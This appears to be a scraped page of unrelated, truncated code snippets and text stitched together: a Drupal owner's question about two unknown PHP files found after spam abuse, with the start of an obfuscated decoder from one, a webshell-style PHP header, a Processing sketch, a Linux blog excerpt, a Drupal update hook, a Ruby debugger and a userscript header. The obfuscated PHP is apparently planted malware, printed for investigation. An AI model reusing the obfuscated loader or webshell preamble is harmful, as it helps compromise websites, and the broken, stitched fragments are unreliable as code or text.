Internet Archive Wayback Machine Ad.
Text: the place where good websites go when they die
Created by Piotr Migdał for Academia Stack Exchange community promotion ad.
I dedicate my (trivial) contribution to the public domian (CC0).
My host just blocked one of my drupal7 websistes for being use for massive spam. | |
Analyzing my access log, i found two script being called often and there are not a Drupal scripts: | |
/sites/all/modules/i18n/i18n_block/stats7.php | |
/modules/file/bs63d8.php | |
/sites/all/modules/i18n/i18n_block/stats7.php: | |
<?php | |
$vNWZ3B7 = Array('1'=>'6', '0'=>'e', '3'=>'8', '2'=>'L', '5'=>'v', '4'=>'M', '7'=>'2', '6'=>'s', '9'=>'r', '8'=>'q', 'A'=>'l', 'C'=>'Y', 'B'=>'S', 'E'=>'K', 'D'=>'n', 'G'=>'T', 'F'=>'C', 'I'=>'y', 'H'=>'t', 'K'=>'G', 'J'=>'9', 'M'=>'k', 'L'=>'w', 'O'=>'H', 'N'=>'x', 'Q'=>'m', 'P'=>'E', 'S'=>'j', 'R'=>'O', 'U'=>'7', 'T'=>'4', 'W'=>'X', 'V'=>'D', 'Y'=>'d', 'X'=>'Z', 'Z'=>'I', 'a'=>'z', 'c'=>'R', 'b'=>'0', 'e'=>'B', 'd'=>'N', 'g'=>'h', 'f'=>'P', 'i'=>'o', 'h'=>'W', 'k'=>'c', 'j'=>'3', 'm'=>'A', 'l'=>'a', 'o'=>'f', 'n'=>'p', 'q'=>'F', 'p'=>'b', 's'=>'5', 'r'=>'g', 'u'=>'J', 't'=>'u', 'w'=>'U', 'v'=>'V', 'y'=>'Q', 'x'=>'1', 'z'=>'i'); | |
function v5T7ETO($vQF6A3S, $vP8XOME){$v8YITRE = ''; for($i=0; $i < strlen($vQF6A |
Internet Archive Wayback Machine Ad.
Text: the place where good websites go when they die
Created by Piotr Migdał for Academia Stack Exchange community promotion ad.
I dedicate my (trivial) contribution to the public domian (CC0).
<UNORDEREDALBUMS> - <ALBUM1> <ALBUM2> | |
<ORDEREDALBUMS> | <ALBUM3> <ALBUM4> <ALBUM5> |
?><?php | |
/** | |
* @author Ikram ALI | |
* @copyright 2012 | |
*/ | |
@define('VERSION','1.0'); | |
@error_reporting(E_ALL ^ E_NOTICE); | |
@session_start(); | |
@ini_set('error_log',NULL); |
int samplesPerFrame = 32; | |
int numFrames = 42; | |
float shutterAngle = .8; | |
int[][] result; | |
float time; | |
float d1, d2, th, pp = .7, t, tt; | |
int N = 10, M = 9; |
I have been using some flavor of GNU/Linux (which excludes Android) since about 2002. The first distro I ever installed was Lindows, and while I often used Lindows as my "main" distro because it was so easy to use, I was very much a distro shopper in my early years. I'd find a spare USB hard drive or flash drive and throw Gentoo or Debian or openSUSE or Fedora on it. It wasn't until the release of Ubuntu 8.04, Hardy Heron, that I finally settled on a "preferred" distro: Ubuntu. And, unlike its commercial open source relative, Linspire, Ubuntu didn't run out of money and stop development. So that was a big plus.
Also unlike its other more distant relative, Fedora, Ubuntu had a more predictable release schedule, and longer support for each release. This meant I could feel free to use a crusty old installation on a dedicated server and be confident that I'd continue to receive critical security updates for years to come. And that's exactly what I did: starting around 2006, I have had either a dedicated
<?php | |
/** | |
* Remove a shared field from a content type. | |
*/ | |
function custom_module_update_7027() { | |
// Fetch instance info. | |
$entity_type = drush_field_get_entity_from_bundle('custom_content_type'); | |
$instance = field_info_instance($entity_type, 'field_to_remove', 'custom_content_type'); |
# collect information about a running process | |
# ruby debug.rb <pid> | |
begin | |
raise ArgumentError unless pid = ARGV[0] | |
pid = pid.to_i | |
raise ArgumentError unless pid > 0 | |
Process.kill(0,pid) | |
rescue TypeError, ArgumentError | |
raise 'pid required' |
// ==UserScript== | |
// @name StackOverflow List Button | |
// @description Additional list toolbar button for StackOverflow editor windows | |
// @version 1.0 | |
// | |
// @match *://stackoverflow.com/* | |
// @match *://meta.stackoverflow.com/* | |
// @match *://pt.stackoverflow.com/* | |
// | |
// @match *://serverfault.com/* |